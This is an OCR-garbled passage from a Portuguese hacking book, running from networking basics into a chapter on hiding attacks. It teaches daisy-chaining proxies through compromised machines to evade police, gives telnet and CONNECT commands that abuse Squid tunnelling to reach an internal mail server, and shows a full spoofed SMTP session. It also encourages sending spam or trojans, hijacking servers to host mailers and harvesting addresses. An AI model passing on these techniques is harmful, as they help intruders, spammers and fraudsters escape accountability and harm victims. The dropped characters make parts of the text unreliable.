mesmas lojas de sucata. Todo esse hardware ligado em rede merece bons sistemas operacionais para trabalhar. Guarde sua mquina mais parruda e instale nela vrias verses do Windows, em multiboot: 98 SE,Me, 2000 e XP so excelentes pedidas. Aplique nela todos os hotI1Xes e Service Packs disponveis. Essa mquina ser usada para originar ataques por meio de ferramentas Windows e para sofrer ataques destinados a mquinas atualizadas dessas plataformas. Na outra mquina, instale um Windows NT 4, um OpenBSD, um FreeBSD 4.5 e um Linux com opo de kemel2.2 e 2.4. No instale nenhum service pack ou atualizao nela. Essa ser a "coitada".
1176 1 Redes 11[

Universidade 2 Ano

Na mquina mais fraquinha, instale as verses mais atualizadas possveis do Linux com kernel 2.4 e OpenBSD. Ser sua origem de ataques Unix. Os Unix enxutos para PC se do bem em mquinas antigas. Por ltimo, vamos estabelecer uma conexo com a Internet. Uma no, quatro. Precisamos configurar as duas mquinas seguras como gateways de uma conexo de alta velocidade, portanto ambas tero duas placas de rede. O roteador de acesso rpido poder ser "plugado" na mquina que dever prover o acesso para aquele teste. Como vamos brincar de War Dialers, precisamos tambm de modems de linha discada. Cada computador dever ter o seu. O diagrama desta rede um pouco complicada ficaria assim:

Linha Telefonica

Windows

Coitada

Unix

Barramento do Hub

O material necessrio , ento: - 3 computadores Pentium 133 ou 486 com memria e disco apropriados; - 2 modems discados; - 5 placas de rede; - 1 hub lOBaseT barato; - Cabos UTP cat 3 ou melhor; - Sistemas operacionais indicados. Se forem usados cabos e placas coaxiais, ser possvel descartar o hub, mas a rede no ser mais facilmente expansvel. Isso interessante pois, no futuro, pode-se montar um cluster com diversos 386 adquiridos no lixo e que, juntos, formam um supercomputador respeitvel para quebrar senhas. Como bnus, no fim deste captulo recolhemos algumas informaes sobre tecnologias de Internet que podem ser de interesse. apenas uma referncia rpida: h literatura mais elaborada disponvel na Internet e em bons livros.
1177 ] Redes II 1

I Universidade

H4CK3R

Roteamento
Para que o roteador possa direcionar os dados pelos diferentes caminhos entre as redes interligadas, eles utilizam os chamados Protocolos de Roteamento. Alm disso, os dispositivos tambm vm dotados de uma tabela de roteamento, responsvel por identificar as rotas que sero seguidas por datagramas. Caso o roteador no conhea o caminho pelo qual o datagrama deve passar, ele o envia para um roteador listado como default gateway (caminho padro) para de l prosseguir seu caminho. O protocolo de roteamento age de duas formas, informando o menor caminho, o que no significa que esse seja o melhor, ou ento informando o melhor, que nem sempre o menor. Grande parte das vezes, o melhor caminho o menos congestionado, uma vez que os menores podem estar lidando com muitas requisies ao mesmo tempo. Dentre os protocolos de roteamento, ficaremos com os ligados ao TCP/IP, que o mais utilizado, falaremos do OSPF (Open Shortest Path First) e do RIP (Routing Information Protocol). OSPF O OSPF um protocolo aberto que baseado no link utilizado pelo TCP/lP. Ele capaz de testar o estado dos outros roteadores conectados por meio de uma mensagem chamada "hello", que enviada para cada um, e se o roteador contatado estiver funcionando ele retoma uma mensagem positiva; a falta de resposta significa que o equipamento est fora do ar. Alm disso, tambm possui o roteamento baseado no tipo de servio, que escolhe a melhor rota para o datagrama baseado na prioridade do datagrama em questo. O cabealho OSPF formado por: Verso do protocolo; Verso Tipo - Tipo da mensagem que pode ser: hello, descrio do banco de dados, pedido do estado do link, atualizao do estado do link, conftrmao do estado do link; Informa o endereo IP do roteador que est IP do roteador de origem enviando a mensagem; rea - At em que rea a mensagem se refere (no OSPF as redes podem ser divididas em reas); Checksum: Checksum da mensagem; Tipo de autenticao - Informaes sobre a senha; Caso haja senha. Autenticao

RIP
O RIP faz com que os roteadores enviem suas tabelas de roteamento de 30 em 30 segundos para os outros roteadores, fazendo dessa forma uma atualiza-

1178 I
Redes 11 r

Universidade 2 Ano

o constante de suas tabelas baseado nas de outros roteadores. Um dos maiores problemas encontrados nesse protocolo que ele defme o caminho a ser percorrido baseado na distncia at o receptor, sem levar em conta as condies e desempenho da rota a ser percorrida. As mensagens RIP possuem os seguintes elementos: Comando - Usado para identificar se a mensagem um pedido ou uma resposta; Verso - Informa a verso do protocolo; Reservado H diversos campos marcados como reservados, e todos eles so preenchidos com zeros; Protocolo - Informa qual foi o protocolo utilizado para gerar o

Endereo IP - Diz qual o IP da rede cuja distncia est sendo informada atravs da mensagem; Distncia Informa a distncia at a rede no campo do endereo IP.

endereamento;

Internet
Em 1969, nascia a Internet. Essa pode ser considerada uma das histrias mais contadas no mundo digital, mas nunca demais relembrar a origem de um dos grandes frutos da humanidade. A inteno era ligar os laboratrios de pesquisa norte-americanos da ARPA(Advanced Research Projects Agency), visando estabilidade de todo o sistema caso algo acontecesse a um dos seus terminais. Podemos dizer ento que mais um avano da humanidade nasceu ligado s intenes militares, tudo por causa da guerra fria. Aos poucos, a rede foi se expandindo para universidades e laboratrios, e com o tempo acabou ganhando o mundo. No existe um lugar central onde a Internet esteja localizada, so mais de 40 mil redes espalhadas ao redor do globo, todas elas baseadas no protocolo TCP/lP. No foi toa que ele se tomou to popular, como dissemos antes. A Rede Mundial de computadores, tambm chamada de WWW (WorldWide Web), formada por redes de alta capacidade, que por sua vez esto conectadas a computadores poderosos conhecidos como Backbones, com alta largura de banda. Discutir os componentes da Internet seria como discutir o prprio protocolo TCP1IP,e j que o estudamos no captulo Redes I, aconselhamos o leitor a dar uma olhada em termos como FTp'HTTP,DNS, entre outros que l esto descritos. Esses so os termos mais usados na grande Rede.

Sub-Redes
Uma rede baseada em TCP/lP pode ser dividida em redes menores para que haja a possibilidade de criar domnios de difuso menores, e assim utilizar melhor os recursos disponveis. Elas so conhecidas como sub-redes ou redes

1179 I

] Redes 11

I Universidade

H4CK3R

segmentadas. Essas redes se utilizam apenas de um roteador IP. Sendo assim, cada sub possui apenas uma identificao. A rede teria um nmero ftxo de IP, como 192.168.10.0, e todas as mquinas compreendidas dentro dela teriam IPs baseados nesse nmero, por exemplo: IP da rede: 192.168.10.0 IPsintemos: 192.168.10.1, 192.168.10.2, 192.168.10.3...

Alm disso, as mscaras de sub-rede foram criadas para auxiliar na identificao das mquinas na rede. Voc pode encontrar mais informaes sobre elas no captulo de Redes I, em TCP1IP.

Redes Wireless
Rdio
Sistema utilizado primordialmente em redes pblicas, dada a falta de segurana em suas transmisses. necessrio que antenas estejam instaladas dentro do alcance de transmisso, mas nada impede algum (hackers, talvez) de instalar uma antena para a captao desses dados, que, se no estiverem criptografados adequadamente, podero ser utilizados para outros fms que no os esperados. Uma de suas grandes vantagens que sua operao feita na freqncia de 2,4 GHz, considerada de uso pblico, e dessa forma no h necessidade de autorizao de rgos governamentais para sua utilizao. Uma outra forma de transmisso de dados por rdio conhecida como transmisso direcional. Ela feita por meio de antenas parablicas, mas estas devem estar bem alinhadas, pois qualquer obstculo ou desvio pode comprometer seriamente a conexo.

IEEE 802.11
Foi o padro criado para sanar o problema da falta de padronizao existente entre os fabricantes de tecnologia de rdio, pois no havia compatibilidade entre os diferentes produtos, impedindo assim a comunicao entre as redes. Ele utiliza um esquema conhecido como Carrier Sense Multiple Access with Collision Avoidance (CSMNCA). O transmissor faz um teste inicial e logo em seguida sincroniza as mquinas para que no haja conflitos ou colises na transmisso dos dados.

InfravermeLho
A utilizao do infraverme1hq para a comunicao sem fto tem sua aplicao voltada mais para redes locais.' Seu alcance est restrito a um ambiente pequeno e totalmente sem obstculos, pois o espectro de luz no pode atravess-Ios. 1180

Redes11 [

Universidade 2 Ano

Bluetooth
o Bluetooth considerado como uma rede sem fio de baixo custo, mas que infelizmente possui baixo alcance. Sua propagao feita a partir de sinais de rdio de alta freqncia e sua versatilidade permite a conexo de vrios aparelhos que vo desde eletrodomsticos at laptops. Essa tecnologia foi criada a partir da iniciativa da Ericsson Mobile Communication, em 1994, para explorar a capacidade da interface de rdio em seus aparelhos. Em 1998 nasceu o SIG (Bluetooth Special Interest Group). O sistema utiliza uma freqncia de at 2,4 GHz, com uma taxa de transmisso de aproximadamente 1 Mbps, com distncia mxima de dez metros. GSM O Global System for Mobile Communications um padro para telefonia de arquitetura aberta mvel utilizado na Europa e que j est se espalhando pelo mundo. Ele opera na freqncia de 900 MHz, especificada pelo European Telecommunications Standards Institute (ETSI).Atualmente, a tecnologia empregada j est na sua terceira gerao, a qual veremos a seguir: 2,56 Nvel intermedirio entre a 2G e a 3G, permite a conexo de banda larga com celulares e PDAs.Alm disso, oferece uma gama de servios que tornaram esta tecnologia muito mais atrativa, como mensagens de texto instantneas e servios de localizao.

36
Terceira gerao da tecnologia GSM. Suas aplicaes esto voltadas para o acesso direto Internet com banda larga, transformando assim o telefone mvel em uma plataforma completa para a obteno de dados e servios na Internet; alm disso, h estudos sobre sua utilizao para comrcio mvel. Isso significa efetuar compras em mquinas automticas e lojas utilizando o aparelho celular. Pode operar em freqncias de 1,9 GHz a 2,1 GHz.

WiFi
WiFi a abreviatura para o termo Wireless Fidelity, da WECA (Wireless Ethernet Compatibility Alliance), que utiliza o protocolo conhecido como IEEE 802.11b.

1181 I ] Redes I1

Vulnerabilidades

Captulo
'Ves gens esc/aves, chansons, chants & requestes, Captifs par Princes, & Seigneurs aux prisons. A ! advenir par idiots sans testes,
Seront receus par divins oraisons ': i

Nostradamus, Centria I, 14a quadra, aprox. 1555

1 Do povo escravizado, canes, cantos e perdidos/Cativos por prncipes e lordes nas prises: / No futuro, por tais idiotas acfalos / Esses (perdidos) sero tomados como oraes divinas.

I Universidade

H4CK3R I

medida que evolumos em nossos estudos sobre as fraquezas dos sistemas de informao, tomamo-nos mais ousados e confiantes. Este livro, mimetizado em curso superior, foi estruturado para que qualquer pessoa com conhecimento bsico em informtica pudesse chegar a entender alguma coisa sobre segurana e redes. Por isso mesmo, at aqui, o leitor foi tratado quase que como um leigo. Para no "ofender" os leitores com conhecimentos tcnicos mais avanados, colocamos no CD todas as matrias que normalmente seriam consideradas pr-requisito para entendimento do que realmente interessa. As matrias consideradas diretamente ligadas com hackerismo (invaso, engenharia social, etc.) ficaram no livro impresso. A partir de agora, consideraremos que os conceitos esto assimilados ("matria dada") e passaremos a tpicos mais "pesados". Vejamos o que temos at agora. Falando diretamente sobre hackers e inva-

ses, tivemos os seguintes captulos: Captulo Zero

- Aula Inaugural

- Uma introduo ao ambiente normal-

mente chamado de hacker space ou digital underground. Captulo 1 - Psicologia Hacker - Um pouco do modo de pensar dos habitantes desse mundo. Captulo 5 informtica Captulo 6
computador.

- Fundamentos
- Engenharia

Jurdicos - Consideraes
informaes

legais sobre
ANTES de ligar o

Social - Obtendo I

Captulo 7

Vulnerabilidades do computadores pessoais.

- Agindo

como script kiddies e invadin-

Com tudo o que vimos at este captulo, podemos dizer que j nos igualamos grande multido de script kiddies espalhados pelo globo. O leitor deve ter notado que, em vez de falar de dezenas de ferramentas e explicar como cada uma funciona, tentamos mostrar o modo como os kiddies trabalham e os locais onde se pode encontrar tais ferramentas. Novamente advertimos: nenhum livro, CD-ROM,FAQ ou site na Internet ensinar algum a ser hacker. um processo que requer estudo, pacincia, persistncia e abnegao. No presente captulo, veremos mais algumas tcnicas usadas pelos script kiddies, desta vez focando sites na Internet ou redes e sistemas corporativos. Mas ao contrrio dos kiddies, voc saber exatamente o que est fazendo, baseado nos conhecimentos adquiridos anteriormente. Outra coisa que poder ser notada: ferramentas de "hacking" para Windows 9x so meros brinquedos. medida que as coisas vo ficando srias, apenas sistemas mais parrudos como o Windows NT ou o Unix possuem condies de servir de base para ataques, especialmente este ltimo. 11841
Vulnerabilidades 11 [

Universidade 2 Ano

Em caso de dvida, recomendamos uma releitura dos captulos anteriores, incluindo a execuo das experincias mostradas. O qu? Voc no fez nenhuma experincia prtica? Ora! Pare a leitura do livro por aqui s volte quando terminar a lio de casa!

Navegando anonimamente
Os proxies fazem mais do que servirem de fIrewall e cache para redes internas acessarem Internet. Um computador atrs de um proxy fIca totalmente escondido, e seu nmero IP no revelado. Para o computador que recebe a conexo, o IP de origem dos pacotes que chegam todo do proxy. Se um hacker conseguir acesso a um proxy qualquer para navegar na Internet seus passos estaro cobertos. Esse proxy pode ser um servio pblico - h . diversos proxies pblicos na Internet, alguns gratuitos, mas a maioria paga. Pode ser tambm algum proxy particular que esteja mal confIgurado e aceitando relay de toda a Internet. Mesmo bem configurado, h falhas em alguns softwares que permitem que hackers usem proxies alheios como escudo. O outro lado da moeda tambm vlido. Um proxy um servio aberto em uma porta TCP e, portanto, est sujeito a falhas. Um servio de proxy pode ser a porta de entrada para a invaso da mquina e comprometimento de outros servios antes "saudveis".

Proxies pblicos
Uma das formas de navegar sossegado pela Internet sem ser molestado utilizarse de um servidor pblico de proxy.Atrs desse servidor, seu IP fIca invisvel para todos os sites da Internet: voc est a salvo dos vendedores de enciclopdias, dos colecionadores de cookies e das investigaes do governo. Hackers que estejam tentando atingi-Iotero apenas o IP do proxy. Como toda tecnologia pode tambm ser usada para o mal, voc pode esconder-se atrs do proxy para originar ataques, que sero registrados nos logs da vtima com um IP diferente do seu. A conexo entre voc e o proxy pode ser criptografada com SSL- normalmente por meio de um Secure Shell ou SSH - e a maioriados servidoresgarante que suas atividades no sero registradas ou suas informaes redirecionadas a empresas que patrocinam o proxy. Parece seguro, no? Nem tanto. Bem ou mal, o prprio proxy tem informaes a seu respeito. Mesmo que haja proxies pblicos garantindo que voc no ser rastreado nem registrado nos logs do servidor, alguns deles podem estar mentindo. Se voc causar algum estrago na Internet, cedo ou tarde ser rastreado at o proxy. Basta um mandado judicial para que o responsvel pelo servidor abra seus registros Polcia Federal. Ser preso seria questo de horas. H vrias maneiras de tentar driblar esse inconveniente. A primeira uma tcnica chamada daisy-chain proxying: invade-se um computador sem importncia, que usado para invadir um segundo, que usado para invadir um
1185 1

]Vulnerabilidades

11

I Universidade

H4CK3R I

terceiro. Entre cada um desses computadores usa-se um proxy, aumentando o nmero de hosts intermedirios para seis ou mais e impondo uma dificuldade extra para os investigadores, que tero de vasculhar nos registros de vrios proxies at determinar a origem de cada um dos estgios. A vantagem desse mtodo que independente de plataforma: voc pode usar mquinas Unix, Windows, Mac ou qualquer outra que possua conectividade compatvel com o servio proxy. Lembre-se de usar servidores diferentes e, preferencialmente, geograficamel1te distantes. Se voc estiver no Brasil e quer invadir um sistema nos Estados Unidos, seu primeiro proxy pode estar na Austrlia, o segundo no Brasil mesmo e o terceiro na Europa. Incluir o Brasil na lista de proxies utilizados um "truque sujo" para confundir o investigador, que normalmente descarta a possibilidade de o atacante estar no mesmo pas do proxy investigado . ("Ningum seria to burro..."). Alguns endereos de proxies pblicos: www.publicproxyservers.com/ www.stayinvisible.com/ tools.rosinstrument.com/proxy www.antiproxy.com/ netspy. ukrpack.net/ E, obviamente, seu buscador de Internet favorito (Google, All the Web), com as palavras chave "public proxy", pode cuspir centenas de listas de servidores pblicos disponveis. Instrues para configurar seu browser para utilizar um desses servios podem ser encontradas na Ajuda dos prprios programas. Observe que h proxies para servios determinados, normalmente H1TP,Ffp e e-mail. Se voc pretende usar um deles para um portscan ou mesmo um ataque, deve antes disfarar os pacotes TCP/lP de seu ataque para que se paream com o servio suportado e se passem pelo proxy. Outra maneira de reforar o anonimato na Grande Rede, mais simples, mas menos efetiva, usar programas que escolhem automaticamente o proxy de uma lista e conectam-se a eles. Cada vez que o programa ativado, um servidor escolhido aleatoriamente ou obedecendo a critrios predefinidos.Alguns mais avanados so capazes de alternar entre proxies de tempos em tempos, pulverizando os rastros. O browser deve ser configurado para acessar o programa, que roda no endereo de loopback ("localhost" ou 127.0.0.1), e deixar que o programa cuide de encontrar um proxy seguro. Um bom servio pago de proxy assistido por um programa-cliente o Anonymizer (www.anonymizer.com). A verso mais bsica do servio custava, em maro de 2003, US$ 49,90 mais impostos, e estava disponvel apenas para Windows. Entre os recursos oferecidos, alm do proxy aleatrio com servidores pblicos, esto a criptografia de URLs, gerenciamento de cookies,
1186 I Vulnerabilidades 11 [

Universidade 2 Ano

bloqueio do web bug, apagamento automtico do histrico de pginas visitadas e uma barra de ferramentas para o Internet Explorer 6. Alm dele, podemos destacar o Anonymity 4 Proxy (www. inetprivacy. com/a4proxy /). Disponvel para todas as verses do Windows, possui uma lista muito grande de proxies pblicos, e faz o gerenciamento de conexes a todos eles. Possui diversas opes que permitem associar zonas da Internet ou sites especficos a um ou mais servidores de proxy, anlise do trfego e protocolos associados e compartilhamento da conexo com uma rede local. Outro digno de nota o Stealther, um software que oferece a possibilidade de utilizar uma matriz de proxies pblicos para auto matizar o daisy-chain.

O Stealther pode ser encontrado em (www.photonosoftware.com/Stealther/ main. php::;?language=eng&reseller=9824). Para a turma do Free Software existe o JAP - Java Anonymity and Privacy. Como escrito em Java, funciona nas mais diversas plataformas que suportam essa linguagem, incluindo Unix, Macintosh, OS/2 e Windows. O software pode ser baixado em anon.inf.tu-dresden.de/ (o site est em alemo). 11871

]Vulnerabilidades

II

I Universidade H4CK3R I

o pessoal do Unix no foi esquecido. O ProxyTools (proxytools.sourceforge.net) um conjunto de ferramentas para desktop e servidor que tambm permite navegar anonimamente na Internet usando proxies annimos. Ele foi especialmente desenvolvido para auxiliar os internautas de pases que aplicam a censura na Internet, como China, Burma e os pases islmicos (e, mais recentemente, os Estados Unidos da Amrica). As ferramentas para mquinas-cliente rodam exatamente da maneira que os. outros softwares listados acima: procuram e encontram servidores proxy pblicos. H ainda um daemon que pode rodar em um servidor Unix e desempenha a lmo de "proxy dos proxies". Dessa forma, o cliente no precisa ter nada instalado em seu computador, fugindo de batidas policiais e, principalmente, das durssimas penas aplicadas aos infratores das leis de censura. Em alguns pases, essas penas podem incluir a execuo do infrator. Outras ferramentas similares para Unix so o Bouncer (www.rOOt3d.org.uk) e o ProxyFloppy (www.nameless.cultists.org). Apesar de ser mais seguro que navegar de peito aberto, cuidado com os proxies, especialmente os pblicos! Alguns so armadilhas da polcia, outros so por natureza inseguros e pode haver, inclusive, servidores maliciosos, mantidos por crackers, para rastrear script kiddies e internautas incautos, visando a us-Ios (principalmente seus IPs) como laranjas em ataques de spoofing. Por isso mesmo, hackers experientes preferem invadir uma rede sem importncia (pequenas empresas, escolas ou universidades) para usar seu proxy. Ou valerse de proxies mal configurados solta pela Internet.

Proxies privados
H diversas maneiras de invadir uma mquina rodando algum programa de proxy e faz-Iaesconder-se da Internet. O mtodo para cada tipo de proxy depende de sua verso e do sistema operacional no qual roda. Mas h algumas vulnerabilidades que fimcionam em qualquer plataforma, pois so inerentes tecnologia e no implementao da tecnologia por um determinado desenvolvedor. Um desses casos o TCP Tunnel, uma maneira de encapsular pacotes TCP dentro de outros para transport-Ios a salvo pela Internet. Essa tecnologia muito usada para criar VPNs, ou redes privadas virtuais. Mas uma falha na tecnologia pode dar a hackers espertos um proxy improvisado. Essa vulnerabilidade realmente antiga. Veja o que diz o FAQ do software Squid (www.squid-cache.orglDoc/FAQ/FAQ-1.html).noitem 1.12:

1188 I
Vulnerabilidades II [

Universidade 2 Ano

"Desde a verso 2.5, o Squid suporta conexes SSL e trfego "tunelado" entre clientes e servidores. Neste caso, o Squid pode fazer um relay dos bits criptografados entre as duas extremidades da conexo. Normalmente, quando seu browser encontra uma URL https, executa uma das duas aes abaixo: 1 O browser abre uma conexo SSL direta com o servidor https; 2 O browser solicita a abertura de um tnel IP atravs do Squid usando o mtodo CONNECT. O mtodo CONNECT uma forma de tunelar qualquer conexo que passe por um proxy de HTTP. O proxy no interpreta ou entende o contedo que est sendo tunelado, apenas o repassa entre as duas mquinas envolvidas na conexo. Para mais detalhes sobre tunelamento e o mtodo CONNECT, veja o . internet draft "Tunneling TCP based protocols through web proxy servers" (www: web-cache. com/W ri tings/ln terne t-Drafts/ draft -luotonen-web-proxytunneling-O 1. txt) e a RFC2817 (ftp://ftp.isLedu/in-notes/rfc2817.txt)." Veja a seguinte frase, retirada desse trecho do FAQ:"O proxy no interpreta ou entende o contedo que est sendo tunelado, apenas o repassa entre as duas mquinas envolvidas na conexo." Isso quer dizer que o proxy sequer verifica se os dados esto criptografados ou no. Portanto, pode-se explorar essa vulnerabilidade simplesmente usando o mtodo CONNECT para conectar-se a um servidor, que pode ser tanto uma mquina na Internet como um servidor em sua Intranet! Lembre-se de que o proxy pode estar rodando na mquina gateway, que possui duas interfaces de rede (uma para a rede interna e outra para a rede externa). Tomando posse do proxy, o invasor tem acesso rede interna, mesmo que ela seja implementada com IPs reservados como 10.0.0.0. ou 192.168.0.0!!! Que tal um exemplo prtico? Em um proxy vulnervel, nos conectaremos a um servidor de e-mail interno e o usaremos como remailer. Considere as seguintes informaes: ~ IP do atacante: 200.230.xxx.yyy ~ Proxy vulnervel da vtima: 64. 131.aaa.bbb, "escutando" na porta 3128 ~ Servidor SMTP interno da vtima: 192.168.1.11 Conecte-se ao proxy usando o velho e bom telnet (o exemplo usa o shell do Unix, mas pode ser feito no Windows sem problemas, com emuladores de terminal e telnet como o TeraTerm ou mesmo o HyperTerminal, que vem "de brinde" com o SO): $ telnet 64.131.aaa.bbb3128 Uma vez conectado, digite o seguinte comando: CONNECT 192.168.1.11:25/ HTTP/1.0 Se, como resposta, aparecer o banner do servidor, voc pode emitir comandos para enviar seus e-mails annimos (veja a prxima seo, "Anonymous remailers", ainda neste captulo). Note que SMTP foi usado aqui apenas como exemplo. Voc pode usar o mtodo CONNECT para qualquer servio: POp, FTP,

1189 I
I

Vulnerabilidades

11

I Universidade

H4CK3R I

HTTP,5MB/CIFS, Telnet novamente... Note ainda que, tunelando vrios proxies em cadeia, possvel colocar vrios nveis de proxying em seus ataques. A correo para este problema to simples quanto bvia: desligue o TCP Thnneling no seu proxy. Se o tunelamento for absolutamente necessrio, no deixe seu proxy conectado diretamente Internet. Instale-o em outra mquina e coloqueo atrs do firewall. Restringir as portas pelas quais se pode fazer o tunelamento, deixando apenas as que realmente sero usadas, tambm uma boa sada.

Squid
O Squid, proxy server nmero um para amantes do Unix e do Software Livre, tambm tem suas mazelas. Sites com Squid e regras de flrewalls mal conflgurados so um prato cheio para quem est procurando anonimato. Mas mesmo sistemas perfeitamente conflgurados (e indiscutivelmente seguros do ponto de vista do administrador) podem estar frgeis a ataques. Uma vulnerabilidade recente (lwn.netNulnerabilities/4;;;;;;6) permite diversos ataques, entre eles: ~ Problemas com o protocolo Gopher permitem que menus malformados causem problemas de segurana; ~ Os dois canais de comunicao FTP permitem que dados sejam extrados ou inseridos, podendo forar o download de arquivos arbitrrios ou a execuo de comandos no servidor; ~ Falha na autenticao permite que usurios no cadastrados utilizem o proxy. As trs falhas poderiam ser usadas para, alm da invaso do servidor no qual o Squid estivesse rodando, forar o proxy a fazer relay de IPs no autorizados. Exploits podem ser encontrados no Security Focus (www.securityfocus.com). A correo simples: atualize seu Squid para a verso 2.4.STABLE7 ou superior. Mas como os administradores de rede por a so preguiosos (e a falha relativamente nova, de novembro de 2002), possvel que voc encontre, por muitos anos ainda, Squids com verses vulnerveis.

WinGate
O WinGate foi lanado em 1995 como um compartilhador de Internet para redes domsticas. Simula um proxy/gateway por IP Masquerade e, pelo seu preo baixo, foi muito popular nos EUA.Apesar de ser um produto j velhinho, muita gente ainda o usa para compartilhar sua conexo de Internet com as mquinas de uma pequena rede. H diversas maneiras de tirar algumas verses antigas do WinGate do ar. Uma das mais conhecidas conectar-se (com telnet, por exemplo) porta 2080 e enviar alguns quilobytes de dados quaisquer. Mas o interessante que algumas verses do WinGate mal conflguradas permitem que ele seja usado como proxy annimo. Se voc roda um desses, est arriscado a emprestar o SEU IP para que script kiddies ataquem o Pentgono. Encontrar exploits para o WinGate muito fcil. Use seu mecanismo de busca
190
I

Vulnerabilidades 11 [

Universidade 2 Ano

favorito e procure por "wingate scanner". Tenha em mente que muitos desses scanners podem ser armadilhas para pegar script kiddies e, portanto, conter vrus e trojans - atualize seu antivrus!!! A correo para isso bem fcil. Se voc insistir em usar Windows, faa um upgrade do WinGate (www.wingate.com) ou use outro software, como o WinProxy (www.winproxy.com).As verses mais novas do Windows possuem o Internet Connection Sharing, que dispensa o uso de programas externos. Mas o prprio ICS , em si, inseguro, ento recomendamos que instale um ftrewall pessoal como o ZoneAlarm (www.zonealarm.com) ou compre por uns trocados uma sucata de 386 (funcionando, obviamente) com pelo menos 8 Mbytes de RAM e sem nenhum HD. Nela, instale algum gateway+ftrewall baseado em Linux ou FreeBSD.Boas pedidas so o Coyote Linux (www.coyotelinux.com). o Trinux (trinux.sourceforge.net) e o FreeSCO (www.freesco.org). A sucata de 386 custar mais barato que as licenas de WinGate, WinProxy ou do Windows com ICS e Zone Alarm.Alm disso, se bem conflgurada funcionar melhor, ser mais segura e deixar seu miero de trabalho com menos porcarias instaladas.

Anonymous remaiLers
Uma das coisas mais chatas que existem (depois dos vendedores de enciclopdia, dos pop-ups em web sites e dos representantes tcnicos de grandes softwarehouses, insistindo para que voc use o carssimo programa deles, e no aquele gratuito que faz a mesma coisa) o spam. Todos ns recebemos, diariamente, dezenas ou mesmo centenas de mensagens indesejadas nos oferecendo de tudo, de sexo a cera colorida para automveis, de panelas ultra-modernas a consolidao de dvidas. Em um primeiro momento, fcil conflgurar um cliente de e-mail como o Outlook ou o Eudora para, no campo "From" das mensagens enviadas, apresentar um endereo diferente. do seu. Mas esse artifcio logo descoberto, pois no cabealho do e-mail (os dados que vm antes de sua mensagem, e que normalmente no aparecem) ficam registrados seu e-mail verdadeiro, o endereo de seu servidor SMTP e at o nome do programa que voc usou. Para enviar spam sossegado (ou um cavalo de tria) voc tem, ento, duas opes: ~ Encontrar servidores de SMTPque estejam abertos para relay externo, ou seja, que aceitem conexes vindas de qualquer canto da Internet. Acredite, eles so bem comuns... ~ Utilizar um software ou site que reenvie seus e-mails sem revelar a origem. Em servidores SMTP desprotegidos, voc pode configurar seu cliente de e-mail para conectar-se a ele, mas isso poderia deixar muitos rastros. Uma boa tcnica usar o velho e bom telnet para tal. Depois de encontrar um servidor de e-mail aberto ao grande pblico, d um telnet a ele na porta 25:
$ telnet IP.DO.SMTP.ABERTO 25
1191
I

Vulnerabilidades

II

I Universidade H4CK3R I

No prompt que aparecer, voc deve digitar os comandos que, normalmente, seu programa de e-mail enviaria ao servidor - sim, eles esto em texto puro!
HELO servidor. aberto. com MAIL FROM: mailfalso@servidor.aberto.com RCPT TO: pr@presidencia.gov.br DATA Date: Thu, 31 Dec 1998 12:16:35 -0500 (EST) From: mailfalso@servidor.aberto.com (Um brasileiro resoluto) To: pr@presidencia.gov.br Subject: Programa de Governo Reply-To: mailfalso@servidor.aberto.com Ei! Quando vocs vo comear a cumprir o programa de governo, hein? QUIT

Alguns sistemas, mesmo abertos para relay externo, so imunes a esse procedimento. Voc conseguir enviar o e-mail,mas no ser permitido "mentir" a respeito de seu endereo. Enviar um e-mail a voc mesmo um bom teste, mas no esquea de verificar os cabealhos! O que ocorre que servidores de SMTP mais novos verificaro sua identidade com o servio identd (que tenta identific-Io remotamente). Nesses casos, necessrio "enganar" o identd primeiro, para depois usar o SMTP aberto. No tenha preguia de completar todos os campos mostrados. Assim, sua mensagem ficar mais parecida com uma mensagem real. Para mais informaes sobre o funcionamento do protocolo SMTP, leia as RFCs 822 e 931. H diversos sites que enviam e-mails annimos. Mesmo grandes sites de hospedagem gratuita e mecanismos de busca (como o Lycos: members.lycos.fr/ moiaptoi/mail.php) possuem pginas especiais para enviar e-mails com mensagens ou e-cards aos seus amigos - ferramenta que, na mo de um hacker, torna-se uma arma. Uma rpida pesquisa no Google retomou vrios exemplos de web anonymous mailers. Separamos, dentre as centenas mostradas, estes cinco: ~ www.gi1c. org/speech/anonymous/remai1er.html ~ fanc1 ub. etoy. c3 .hu/tanksystem/underground-tank/resistance/ mailerform.html <= Um site de estudantes! ~judsonalumni.com/1evel5 ~ www.email-anonyme.fr.st ~ mailer.us.tf Voc pode ainda invadir um servidor qualquer na Internet e imp1ementar l, sem que ningum saiba, seu prprio Mailer. Um exemplo de cdigo (em PHP) pode ser visto em http://www.pscode.com/vb/scripts/ ShowCode.asp ?txtCodeId=95 3&lngWId=8. H pilhas de softwares que automatizam o processo de enviar toneladas de emails para milhares de endereos, incluindo a imp1ementar seu prprio servidor SMTP domstico ou varrer a Internet atrs de servidores podres. Se voc
1192 I Vulnerabilidades 11[

Universidade 2 Ano

usa Unix e tem conexo direta com a Internet, pode instalar um servidor completo de SMTPem sua mquina, configur-Io para um domnio fictcio qualquer e mandar brasa! Alguns provedores bloqueiam servidores SMTP em seus assinantes, mas nada que um proxy pblico no resolva... H diversas opes disponveis, sendo o Qmail, PostflX e o veterano Sendmail as mais conhecidas. Em um refmamento desse processo, podem-se utilizar servidores de listas de discusso para automatizar a entrega a muitos destinatrios. Entre os servidores de listas mais comuns encontram-se o Majordomo, o Exim e o GNU Mailman. Para alimentar os servidores de listas, basta criar uma lista de distribuio e cadastrar, aos poucos, endereos colecionados pela Internet. H scripts como o Bulk Mailer (ftp://cs.utk.edu/pub/moorelbulk mailer/) que facilitam a tarefa ainda mais. Uma procura no Google j seria suficiente para comear, mas no h necessidade: voc pode, simplesmente, copiar e colar a partir daqueles e-mails de corrente e mensagens de fim de ano que se costuma receber e que normalmente vm repletos de endereos nos campos "Para" e "CC". Se voc inimigo do spam, uma dica: ao reenviar mensagens, use sempre o campo "Cpia Oculta" ou BCC. No lado do cliente, ainda possvel enviar e-mails annimos sem invadir servidor algum. Tenha em mente que, apesar de ser uma soluo mais simples, perigosamente fcil de ser rastreada. Alguns programas (pagos) para Windows que fazem isso so: ~ Send-Safe: www.send-safe.com ~ Bulker: bulker. us No CD, h alguns outros programas gratuitos que prometem cumprir o prometido: enviar e-mails annimos a um grande nmero de pessoas. Teste todos. Mas no se prenda facilidade de um script, como diria a hackergirl Melpneme. Tente entender como os servidores SMTP funcionam, e ver que fcil utilizar qualquer um deles para enviar e-mails annimos. Uma ltima recomendao: leia as RFCs!

Furando firewalls
